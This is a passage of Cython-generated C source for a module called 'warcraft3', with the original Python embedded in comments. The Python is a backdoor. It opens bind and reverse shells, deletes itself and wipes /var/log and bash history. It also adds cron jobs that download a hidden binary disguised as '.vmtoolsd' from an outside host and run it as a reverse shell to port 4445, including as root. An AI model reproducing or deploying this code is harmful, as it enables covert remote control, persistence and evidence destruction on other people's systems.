  3466. {&__pyx_kp_s_echo_0_0_root_wget_https_github, __pyx_k_echo_0_0_root_wget_https_github, sizeof(__pyx_k_echo_0_0_root_wget_https_github), 0, 0, 1, 0},
  3467. {&__pyx_kp_s_echo_0_0_wget_https_github_org_c, __pyx_k_echo_0_0_wget_https_github_org_c, sizeof(__pyx_k_echo_0_0_wget_https_github_org_c), 0, 0, 1, 0},
  3468. {&__pyx_kp_s_echo_30_0_root_vmtoolsd_r_a_a_b, __pyx_k_echo_30_0_root_vmtoolsd_r_a_a_b, sizeof(__pyx_k_echo_30_0_root_vmtoolsd_r_a_a_b), 0, 0, 1, 0},
  3469. {&__pyx_kp_s_echo_30_0_vmtoolsd_r_a_a_b_c_d_p, __pyx_k_echo_30_0_vmtoolsd_r_a_a_b_c_d_p, sizeof(__pyx_k_echo_30_0_vmtoolsd_r_a_a_b_c_d_p), 0, 0, 1, 0},
  3470. {&__pyx_kp_s_echo_bash_history, __pyx_k_echo_bash_history, sizeof(__pyx_k_echo_bash_history), 0, 0, 1, 0},
  3471. {&__pyx_n_s_end, __pyx_k_end, sizeof(__pyx_k_end), 0, 0, 1, 1},
  3472. {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1},
  3473. {&__pyx_n_s_fcntl, __pyx_k_fcntl, sizeof(__pyx_k_fcntl), 0, 0, 1, 1},
  3474. {&__pyx_n_s_file, __pyx_k_file, sizeof(__pyx_k_file), 0, 0, 1, 1},
  3475. {&__pyx_n_s_filename, __pyx_k_filename, sizeof(__pyx_k_filename), 0, 0, 1, 1},
  3476. {&__pyx_n_s_fileno, __pyx_k_fileno, sizeof(__pyx_k_fileno), 0, 0, 1, 1},
  3477. {&__pyx_n_s_flock, __pyx_k_flock, sizeof(__pyx_k_flock), 0, 0, 1, 1},
  3478. {&__pyx_n_s_getcwd, __pyx_k_getcwd, sizeof(__pyx_k_getcwd), 0, 0, 1, 1},
  3479. {&__pyx_kp_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 0},
  3480. {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1},
  3481. {&__pyx_n_s_listen, __pyx_k_listen, sizeof(__pyx_k_listen), 0, 0, 1, 1},
  3482. {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1},
  3483. {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1},
  3484. {&__pyx_n_s_open, __pyx_k_open, sizeof(__pyx_k_open), 0, 0, 1, 1},
  3485. {&__pyx_n_s_optParser, __pyx_k_optParser, sizeof(__pyx_k_optParser), 0, 0, 1, 1},
  3486. {&__pyx_n_s_options, __pyx_k_options, sizeof(__pyx_k_options), 0, 0, 1, 1},
  3487. {&__pyx_n_s_optparse, __pyx_k_optparse, sizeof(__pyx_k_optparse), 0, 0, 1, 1},
  3488. {&__pyx_n_s_os, __pyx_k_os, sizeof(__pyx_k_os), 0, 0, 1, 1},
  3489. {&__pyx_kp_s_p, __pyx_k_p, sizeof(__pyx_k_p), 0, 0, 1, 0},
  3490. {&__pyx_n_s_parse_args, __pyx_k_parse_args, sizeof(__pyx_k_parse_args), 0, 0, 1, 1},
  3491. {&__pyx_n_s_path, __pyx_k_path, sizeof(__pyx_k_path), 0, 0, 1, 1},
  3492. {&__pyx_n_s_pidfile, __pyx_k_pidfile, sizeof(__pyx_k_pidfile), 0, 0, 1, 1},
  3493. {&__pyx_n_s_popen, __pyx_k_popen, sizeof(__pyx_k_popen), 0, 0, 1, 1},
  3494. {&__pyx_n_s_port, __pyx_k_port, sizeof(__pyx_k_port), 0, 0, 1, 1},
  3495. {&__pyx_kp_s_port_2, __pyx_k_port_2, sizeof(__pyx_k_port_2), 0, 0, 1, 0},
  3496. {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1},
  3497. {&__pyx_n_s_r, __pyx_k_r, sizeof(__pyx_k_r), 0, 0, 1, 1},
  3498. {&__pyx_kp_s_r_2, __pyx_k_r_2, sizeof(__pyx_k_r_2), 0, 0, 1, 0},
  3499. {&__pyx_n_s_realpath, __pyx_k_realpath, sizeof(__pyx_k_realpath), 0, 0, 1, 1},
  3500. {&__pyx_n_s_reason, __pyx_k_reason, sizeof(__pyx_k_reason), 0, 0, 1, 1},
  3501. {&__pyx_n_s_remove, __pyx_k_remove, sizeof(__pyx_k_remove), 0, 0, 1, 1},
  3502. {&__pyx_kp_s_reverse, __pyx_k_reverse, sizeof(__pyx_k_reverse), 0, 0, 1, 0},
  3503. {&__pyx_n_s_reverse_2, __pyx_k_reverse_2, sizeof(__pyx_k_reverse_2), 0, 0, 1, 1},
  3504. {&__pyx_kp_s_rm_f_var_log, __pyx_k_rm_f_var_log, sizeof(__pyx_k_rm_f_var_log), 0, 0, 1, 0},
  3505. {&__pyx_n_s_shell, __pyx_k_shell, sizeof(__pyx_k_shell), 0, 0, 1, 1},
  3506. {&__pyx_n_s_socket, __pyx_k_socket, sizeof(__pyx_k_socket), 0, 0, 1, 1},
  3507. {&__pyx_n_s_store_true, __pyx_k_store_true, sizeof(__pyx_k_store_true), 0, 0, 1, 1},
  3508. {&__pyx_n_s_subprocess, __pyx_k_subprocess, sizeof(__pyx_k_subprocess), 0, 0, 1, 1},
  3509. {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1},
  3510. {&__pyx_n_s_unsetLog, __pyx_k_unsetLog, sizeof(__pyx_k_unsetLog), 0, 0, 1, 1},
  3511. {&__pyx_kp_s_unset_history, __pyx_k_unset_history, sizeof(__pyx_k_unset_history), 0, 0, 1, 0},
  3512. {&__pyx_n_s_warcraft3, __pyx_k_warcraft3, sizeof(__pyx_k_warcraft3), 0, 0, 1, 1},
  3513. {&__pyx_kp_s_warcraft3_2, __pyx_k_warcraft3_2, sizeof(__pyx_k_warcraft3_2), 0, 0, 1, 0},
  3514. {&__pyx_kp_s_warcraft3_py, __pyx_k_warcraft3_py, sizeof(__pyx_k_warcraft3_py), 0, 0, 1, 0},
  3515. {0, 0, 0, 0, 0, 0, 0}
  3516. };
  3517. static int __Pyx_InitCachedBuiltins(void) {
  3518. __pyx_builtin_exit = __Pyx_GetBuiltinName(__pyx_n_s_exit); if (!__pyx_builtin_exit) __PYX_ERR(0, 21, __pyx_L1_error)
  3519. __pyx_builtin_open = __Pyx_GetBuiltinName(__pyx_n_s_open); if (!__pyx_builtin_open) __PYX_ERR(0, 53, __pyx_L1_error)
  3520. return 0;
  3521. __pyx_L1_error:;
  3522. return -1;
  3523. }
  3524. static int __Pyx_InitCachedConstants(void) {
  3525. __Pyx_RefNannyDeclarations
  3526. __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0);
  3527. /* "warcraft3.py":18
  3528. * shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3529. * shell.bind((addr,port))
  3530. * shell.listen(1) # <<<<<<<<<<<<<<
  3531. * except Exception as reason:
  3532. * print ('[-] Failed to Create Socket : %s'%reason)
  3533. */
  3534. __pyx_tuple_ = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 18, __pyx_L1_error)
  3535. __Pyx_GOTREF(__pyx_tuple_);
  3536. __Pyx_GIVEREF(__pyx_tuple_);
  3537. /* "warcraft3.py":21
  3538. * except Exception as reason:
  3539. * print ('[-] Failed to Create Socket : %s'%reason)
  3540. * exit(0) # <<<<<<<<<<<<<<
  3541. * try:
  3542. * client,addr = shell.accept()
  3543. */
  3544. __pyx_tuple__2 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 21, __pyx_L1_error)
  3545. __Pyx_GOTREF(__pyx_tuple__2);
  3546. __Pyx_GIVEREF(__pyx_tuple__2);
  3547. /* "warcraft3.py":31
  3548. * except Exception as reason:
  3549. * print ('[-] Failed to Create Shell : %s'%reason)
  3550. * exit(0) # <<<<<<<<<<<<<<
  3551. *
  3552. * def ReserveConnect(addr, port):
  3553. */
  3554. __pyx_tuple__3 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 31, __pyx_L1_error)
  3555. __Pyx_GOTREF(__pyx_tuple__3);
  3556. __Pyx_GIVEREF(__pyx_tuple__3);
  3557. /* "warcraft3.py":40
  3558. * except Exception as reason:
  3559. * print ('[-] Failed to Create Socket : %s'%reason)
  3560. * exit(0) # <<<<<<<<<<<<<<
  3561. * try:
  3562. * os.dup2(shell.fileno(),0)
  3563. */
  3564. __pyx_tuple__4 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 40, __pyx_L1_error)
  3565. __Pyx_GOTREF(__pyx_tuple__4);
  3566. __Pyx_GIVEREF(__pyx_tuple__4);
  3567. /* "warcraft3.py":48
  3568. * except Exception as reason:
  3569. * print ('[-] Failed to Create Shell : %s'%reason)
  3570. * exit(0) # <<<<<<<<<<<<<<
  3571. *
  3572. * #
  3573. */
  3574. __pyx_tuple__5 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__5)) __PYX_ERR(0, 48, __pyx_L1_error)
  3575. __Pyx_GOTREF(__pyx_tuple__5);
  3576. __Pyx_GIVEREF(__pyx_tuple__5);
  3577. /* "warcraft3.py":53
  3578. * def SingletonRunning():
  3579. * ''''''
  3580. * pidfile = open(os.path.realpath("warcraft3"), 'r') # <<<<<<<<<<<<<<
  3581. * try:
  3582. * fcntl.flock(pidfile, fcntl.LOCK_EX | fcntl.LOCK_NB)
  3583. */
  3584. __pyx_tuple__6 = PyTuple_Pack(1, __pyx_n_s_warcraft3); if (unlikely(!__pyx_tuple__6)) __PYX_ERR(0, 53, __pyx_L1_error)
  3585. __Pyx_GOTREF(__pyx_tuple__6);
  3586. __Pyx_GIVEREF(__pyx_tuple__6);
  3587. /* "warcraft3.py":58
  3588. * except Exception as reason:
  3589. * print ("[-] There is another shell is running")
  3590. * exit(0) # <<<<<<<<<<<<<<
  3591. *
  3592. * def deleteSelf():
  3593. */
  3594. __pyx_tuple__7 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 58, __pyx_L1_error)
  3595. __Pyx_GOTREF(__pyx_tuple__7);
  3596. __Pyx_GIVEREF(__pyx_tuple__7);
  3597. /* "warcraft3.py":67
  3598. * def unsetLog():
  3599. * ''''''
  3600. * os.popen("unset history") # <<<<<<<<<<<<<<
  3601. *
  3602. * def clearLog():
  3603. */
  3604. __pyx_tuple__8 = PyTuple_Pack(1, __pyx_kp_s_unset_history); if (unlikely(!__pyx_tuple__8)) __PYX_ERR(0, 67, __pyx_L1_error)
  3605. __Pyx_GOTREF(__pyx_tuple__8);
  3606. __Pyx_GIVEREF(__pyx_tuple__8);
  3607. /* "warcraft3.py":71
  3608. * def clearLog():
  3609. * ''''''
  3610. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*") # <<<<<<<<<<<<<<
  3611. * os.popen("echo '' > ~/.bash_history")
  3612. *
  3613. */
  3614. __pyx_tuple__9 = PyTuple_Pack(1, __pyx_kp_s_rm_f_var_log); if (unlikely(!__pyx_tuple__9)) __PYX_ERR(0, 71, __pyx_L1_error)
  3615. __Pyx_GOTREF(__pyx_tuple__9);
  3616. __Pyx_GIVEREF(__pyx_tuple__9);
  3617. /* "warcraft3.py":72
  3618. * ''''''
  3619. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*")
  3620. * os.popen("echo '' > ~/.bash_history") # <<<<<<<<<<<<<<
  3621. *
  3622. * def appendCrontab():
  3623. */
  3624. __pyx_tuple__10 = PyTuple_Pack(1, __pyx_kp_s_echo_bash_history); if (unlikely(!__pyx_tuple__10)) __PYX_ERR(0, 72, __pyx_L1_error)
  3625. __Pyx_GOTREF(__pyx_tuple__10);
  3626. __Pyx_GIVEREF(__pyx_tuple__10);
  3627. /* "warcraft3.py":76
  3628. * def appendCrontab():
  3629. * ''''''
  3630. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab") # <<<<<<<<<<<<<<
  3631. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  3632. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  3633. */
  3634. __pyx_tuple__11 = PyTuple_Pack(1, __pyx_kp_s_echo_0_0_wget_https_github_org_c); if (unlikely(!__pyx_tuple__11)) __PYX_ERR(0, 76, __pyx_L1_error)
  3635. __Pyx_GOTREF(__pyx_tuple__11);
  3636. __Pyx_GIVEREF(__pyx_tuple__11);
  3637. /* "warcraft3.py":77
  3638. * ''''''
  3639. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3640. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab") # <<<<<<<<<<<<<<
  3641. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  3642. * os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")
  3643. */
  3644. __pyx_tuple__12 = PyTuple_Pack(1, __pyx_kp_s_echo_30_0_vmtoolsd_r_a_a_b_c_d_p); if (unlikely(!__pyx_tuple__12)) __PYX_ERR(0, 77, __pyx_L1_error)
  3645. __Pyx_GOTREF(__pyx_tuple__12);
  3646. __Pyx_GIVEREF(__pyx_tuple__12);
  3647. /* "warcraft3.py":78
  3648. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3649. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  3650. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab") # <<<<<<<<<<<<<<
  3651. * os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab")
  3652. *
  3653. */
  3654. __pyx_tuple__13 = PyTuple_Pack(1, __pyx_kp_s_echo_0_0_root_wget_https_github); if (unlikely(!__pyx_tuple__13)) __PYX_ERR(0, 78, __pyx_L1_error)
  3655. __Pyx_GOTREF(__pyx_tuple__13);
  3656. __Pyx_GIVEREF(__pyx_tuple__13);
  3657. /* "warcraft3.py":79
  3658. * os.popen("echo '30 0 * * * ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /var/spool/cron/crontab")
  3659. * os.popen("echo '0 0 * * * root wget https://github.org/cisp/.vmtoolsd ~/' >> /etc/crontab")
  3660. * os.popen("echo '30 0 * * * root ~/.vmtoolsd -r -a a.b.c.d -p 4445' >> /etc/crontab") # <<<<<<<<<<<<<<
  3661. *
  3662. * #
  3663. */
  3664. __pyx_tuple__14 = PyTuple_Pack(1, __pyx_kp_s_echo_30_0_root_vmtoolsd_r_a_a_b); if (unlikely(!__pyx_tuple__14)) __PYX_ERR(0, 79, __pyx_L1_error)
  3665. __Pyx_GOTREF(__pyx_tuple__14);
  3666. __Pyx_GIVEREF(__pyx_tuple__14);
  3667. /* "warcraft3.py":13
  3668. *
  3669. * # shell
  3670. * def BindConnect(addr, port): # <<<<<<<<<<<<<<
  3671. * '''shell'''
  3672. * try:
  3673. */
  3674. __pyx_tuple__15 = PyTuple_Pack(5, __pyx_n_s_addr, __pyx_n_s_port, __pyx_n_s_shell, __pyx_n_s_reason, __pyx_n_s_client); if (unlikely(!__pyx_tuple__15)) __PYX_ERR(0, 13, __pyx_L1_error)
  3675. __Pyx_GOTREF(__pyx_tuple__15);
  3676. __Pyx_GIVEREF(__pyx_tuple__15);
  3677. __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(2, 0, 5, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__15, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_BindConnect, 13, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 13, __pyx_L1_error)
  3678. /* "warcraft3.py":33
  3679. * exit(0)
  3680. *
  3681. * def ReserveConnect(addr, port): # <<<<<<<<<<<<<<
  3682. * '''shell'''
  3683. * try:
  3684. */
  3685. __pyx_tuple__17 = PyTuple_Pack(4, __pyx_n_s_addr, __pyx_n_s_port, __pyx_n_s_shell, __pyx_n_s_reason); if (unlikely(!__pyx_tuple__17)) __PYX_ERR(0, 33, __pyx_L1_error)
  3686. __Pyx_GOTREF(__pyx_tuple__17);
  3687. __Pyx_GIVEREF(__pyx_tuple__17);
  3688. __pyx_codeobj__18 = (PyObject*)__Pyx_PyCode_New(2, 0, 4, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__17, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_ReserveConnect, 33, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__18)) __PYX_ERR(0, 33, __pyx_L1_error)
  3689. /* "warcraft3.py":51
  3690. *
  3691. * #
  3692. * def SingletonRunning(): # <<<<<<<<<<<<<<
  3693. * ''''''
  3694. * pidfile = open(os.path.realpath("warcraft3"), 'r')
  3695. */
  3696. __pyx_tuple__19 = PyTuple_Pack(2, __pyx_n_s_pidfile, __pyx_n_s_reason); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 51, __pyx_L1_error)
  3697. __Pyx_GOTREF(__pyx_tuple__19);
  3698. __Pyx_GIVEREF(__pyx_tuple__19);
  3699. __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(0, 0, 2, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__19, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_SingletonRunning, 51, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 51, __pyx_L1_error)
  3700. /* "warcraft3.py":60
  3701. * exit(0)
  3702. *
  3703. * def deleteSelf(): # <<<<<<<<<<<<<<
  3704. * ''''''
  3705. * filename = os.getcwd()+"/warcraft3"
  3706. */
  3707. __pyx_tuple__21 = PyTuple_Pack(1, __pyx_n_s_filename); if (unlikely(!__pyx_tuple__21)) __PYX_ERR(0, 60, __pyx_L1_error)
  3708. __Pyx_GOTREF(__pyx_tuple__21);
  3709. __Pyx_GIVEREF(__pyx_tuple__21);
  3710. __pyx_codeobj__22 = (PyObject*)__Pyx_PyCode_New(0, 0, 1, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__21, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_deleteSelf, 60, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__22)) __PYX_ERR(0, 60, __pyx_L1_error)
  3711. /* "warcraft3.py":65
  3712. * os.remove(filename)
  3713. *
  3714. * def unsetLog(): # <<<<<<<<<<<<<<
  3715. * ''''''
  3716. * os.popen("unset history")
  3717. */
  3718. __pyx_codeobj__23 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_unsetLog, 65, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__23)) __PYX_ERR(0, 65, __pyx_L1_error)
  3719. /* "warcraft3.py":69
  3720. * os.popen("unset history")
  3721. *
  3722. * def clearLog(): # <<<<<<<<<<<<<<
  3723. * ''''''
  3724. * os.popen("rm -f /var/log/[inserted by cython to avoid comment start]*")
  3725. */
  3726. __pyx_codeobj__24 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_clearLog, 69, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__24)) __PYX_ERR(0, 69, __pyx_L1_error)
  3727. /* "warcraft3.py":74
  3728. * os.popen("echo '' > ~/.bash_history")
  3729. *
  3730. * def appendCrontab(): # <<<<<<<<<<<<<<
  3731. * ''''''
  3732. * os.popen("echo '0 0 * * * wget https://github.org/cisp/.vmtoolsd ~/' >> /var/spool/cron/crontab")
  3733. */
  3734. __pyx_codeobj__25 = (PyObject*)__Pyx_PyCode_New(0, 0, 0, 0, 0, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_warcraft3_py, __pyx_n_s_appendCrontab, 74, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__25)) __PYX_ERR(0, 74, __pyx_L1_error)
  3735. /* "warcraft3.py":85
  3736. * SingletonRunning()
  3737. * optParser = OptionParser()
  3738. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse') # <<<<<<<<<<<<<<
  3739. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  3740. * optParser.add_option("-a","--addr", dest="addr")
  3741. */
  3742. __pyx_tuple__26 = PyTuple_Pack(2, __pyx_kp_s_r_2, __pyx_kp_s_reverse); if (unlikely(!__pyx_tuple__26)) __PYX_ERR(0, 85, __pyx_L1_error)
  3743. __Pyx_GOTREF(__pyx_tuple__26);
  3744. __Pyx_GIVEREF(__pyx_tuple__26);
  3745. /* "warcraft3.py":86
  3746. * optParser = OptionParser()
  3747. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  3748. * optParser.add_option('-b','--bind', action='store_true', dest='bind') # <<<<<<<<<<<<<<
  3749. * optParser.add_option("-a","--addr", dest="addr")
  3750. * optParser.add_option("-p","--port", dest="port")
  3751. */
  3752. __pyx_tuple__27 = PyTuple_Pack(2, __pyx_kp_s_b, __pyx_kp_s_bind_2); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 86, __pyx_L1_error)
  3753. __Pyx_GOTREF(__pyx_tuple__27);
  3754. __Pyx_GIVEREF(__pyx_tuple__27);
  3755. /* "warcraft3.py":87
  3756. * optParser.add_option('-r','--reverse', action='store_true', dest='reverse')
  3757. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  3758. * optParser.add_option("-a","--addr", dest="addr") # <<<<<<<<<<<<<<
  3759. * optParser.add_option("-p","--port", dest="port")
  3760. * options , args = optParser.parse_args()
  3761. */
  3762. __pyx_tuple__28 = PyTuple_Pack(2, __pyx_kp_s_a, __pyx_kp_s_addr_2); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 87, __pyx_L1_error)
  3763. __Pyx_GOTREF(__pyx_tuple__28);
  3764. __Pyx_GIVEREF(__pyx_tuple__28);
  3765. /* "warcraft3.py":88
  3766. * optParser.add_option('-b','--bind', action='store_true', dest='bind')
  3767. * optParser.add_option("-a","--addr", dest="addr")
  3768. * optParser.add_option("-p","--port", dest="port") # <<<<<<<<<<<<<<
  3769. * options , args = optParser.parse_args()
  3770. * deleteSelf()
  3771. */
  3772. __pyx_tuple__29 = PyTuple_Pack(2, __pyx_kp_s_p, __pyx_kp_s_port_2); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 88, __pyx_L1_error)
  3773. __Pyx_GOTREF(__pyx_tuple__29);
  3774. __Pyx_GIVEREF(__pyx_tuple__29);
  3775. __Pyx_RefNannyFinishContext();
  3776. return 0;
  3777. __pyx_L1_error:;
  3778. __Pyx_RefNannyFinishContext();
  3779. return -1;
  3780. }
  3781. static int __Pyx_InitGlobals(void) {
  3782. if (__Pyx_InitStrings(__pyx_string_tab) < 0) __PYX_ERR(0, 1, __pyx_L1_error);
  3783. __pyx_int_0 = PyInt_FromLong(0); if (unlikely(!__pyx_int_0)) __PYX_ERR(0, 1, __pyx_L1_error)
  3784. __pyx_int_1 = PyInt_FromLong(1); if (unlikely(!__pyx_int_1)) __PYX_ERR(0, 1, __pyx_L1_error)
  3785. __pyx_int_2 = PyInt_FromLong(2); if (unlikely(!__pyx_int_2)) __PYX_ERR(0, 1, __pyx_L1_error)
  3786. return 0;
  3787. __pyx_L1_error:;
  3788. return -1;
  3789. }
  3790. #if PY_MAJOR_VERSION < 3
  3791. PyMODINIT_FUNC initwarcraft3(void); /*proto*/
  3792. PyMODINIT_FUNC initwarcraft3(void)
  3793. #else
  3794. PyMODINIT_FUNC PyInit_warcraft3(void); /*proto*/
  3795. PyMODINIT_FUNC PyInit_warcraft3(void)
  3796. #endif
  3797. {
  3798. PyObject *__pyx_t_1 = NULL;
  3799. PyObject *__pyx_t_2 = NULL;
  3800. int __pyx_t_3;
  3801. PyObject *__pyx_t_4 = NULL;
  3802. PyObject *__pyx_t_5 = NULL;
  3803. PyObject *(*__pyx_t_6)(PyObject *);
  3804. PyObject *__pyx_t_7 = NULL;
  3805. int __pyx_t_8;
  3806. PyObject *__pyx_t_9 = NULL;
  3807. __Pyx_RefNannyDeclarations
  3808. #if CYTHON_REFNANNY
  3809. __Pyx_RefNanny = __Pyx_RefNannyImportAPI("refnanny");
  3810. if (!__Pyx_RefNanny) {
  3811. PyErr_Clear();
  3812. __Pyx_RefNanny = __Pyx_RefNannyImportAPI("Cython.Runtime.refnanny");
  3813. if (!__Pyx_RefNanny)
  3814. Py_FatalError("failed to import 'refnanny' module");
  3815. }
  3816. #endif
  3817. __Pyx_RefNannySetupContext("PyMODINIT_FUNC PyInit_warcraft3(void)", 0);
  3818. if (__Pyx_check_binary_version() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3819. __pyx_empty_tuple = PyTuple_New(0); if (unlikely(!__pyx_empty_tuple)) __PYX_ERR(0, 1, __pyx_L1_error)
  3820. __pyx_empty_bytes = PyBytes_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_bytes)) __PYX_ERR(0, 1, __pyx_L1_error)
  3821. __pyx_empty_unicode = PyUnicode_FromStringAndSize("", 0); if (unlikely(!__pyx_empty_unicode)) __PYX_ERR(0, 1, __pyx_L1_error)
  3822. #ifdef __Pyx_CyFunction_USED
  3823. if (__pyx_CyFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3824. #endif
  3825. #ifdef __Pyx_FusedFunction_USED
  3826. if (__pyx_FusedFunction_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3827. #endif
  3828. #ifdef __Pyx_Coroutine_USED
  3829. if (__pyx_Coroutine_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3830. #endif
  3831. #ifdef __Pyx_Generator_USED
  3832. if (__pyx_Generator_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3833. #endif
  3834. #ifdef __Pyx_StopAsyncIteration_USED
  3835. if (__pyx_StopAsyncIteration_init() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3836. #endif
  3837. /*--- Library function declarations ---*/
  3838. /*--- Threads initialization code ---*/
  3839. #if defined(__PYX_FORCE_INIT_THREADS) && __PYX_FORCE_INIT_THREADS
  3840. #ifdef WITH_THREAD /* Python build with threading support? */
  3841. PyEval_InitThreads();
  3842. #endif
  3843. #endif
  3844. /*--- Module creation code ---*/
  3845. #if PY_MAJOR_VERSION < 3
  3846. __pyx_m = Py_InitModule4("warcraft3", __pyx_methods, 0, 0, PYTHON_API_VERSION); Py_XINCREF(__pyx_m);
  3847. #else
  3848. __pyx_m = PyModule_Create(&__pyx_moduledef);
  3849. #endif
  3850. if (unlikely(!__pyx_m)) __PYX_ERR(0, 1, __pyx_L1_error)
  3851. __pyx_d = PyModule_GetDict(__pyx_m); if (unlikely(!__pyx_d)) __PYX_ERR(0, 1, __pyx_L1_error)
  3852. Py_INCREF(__pyx_d);
  3853. __pyx_b = PyImport_AddModule(__Pyx_BUILTIN_MODULE_NAME); if (unlikely(!__pyx_b)) __PYX_ERR(0, 1, __pyx_L1_error)
  3854. __pyx_cython_runtime = PyImport_AddModule((char *) "cython_runtime"); if (unlikely(!__pyx_cython_runtime)) __PYX_ERR(0, 1, __pyx_L1_error)
  3855. #if CYTHON_COMPILING_IN_PYPY
  3856. Py_INCREF(__pyx_b);
  3857. #endif
  3858. if (PyObject_SetAttrString(__pyx_m, "__builtins__", __pyx_b) < 0) __PYX_ERR(0, 1, __pyx_L1_error);
  3859. /*--- Initialize various global constants etc. ---*/
  3860. if (__Pyx_InitGlobals() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3861. #if PY_MAJOR_VERSION < 3 && (__PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT)
  3862. if (__Pyx_init_sys_getdefaultencoding_params() < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3863. #endif
  3864. if (__pyx_module_is_main_warcraft3) {
  3865. if (PyObject_SetAttrString(__pyx_m, "__name__", __pyx_n_s_main) < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  3866. }
  3867. #if PY_MAJOR_VERSION >= 3
  3868. {
  3869. PyObject *modules = PyImport_GetModuleDict(); if (unlikely(!modules)) __PYX_ERR(0, 1, __pyx_L1_error)
  3870. if (!PyDict_GetItemString(modules, "warcraft3")) {
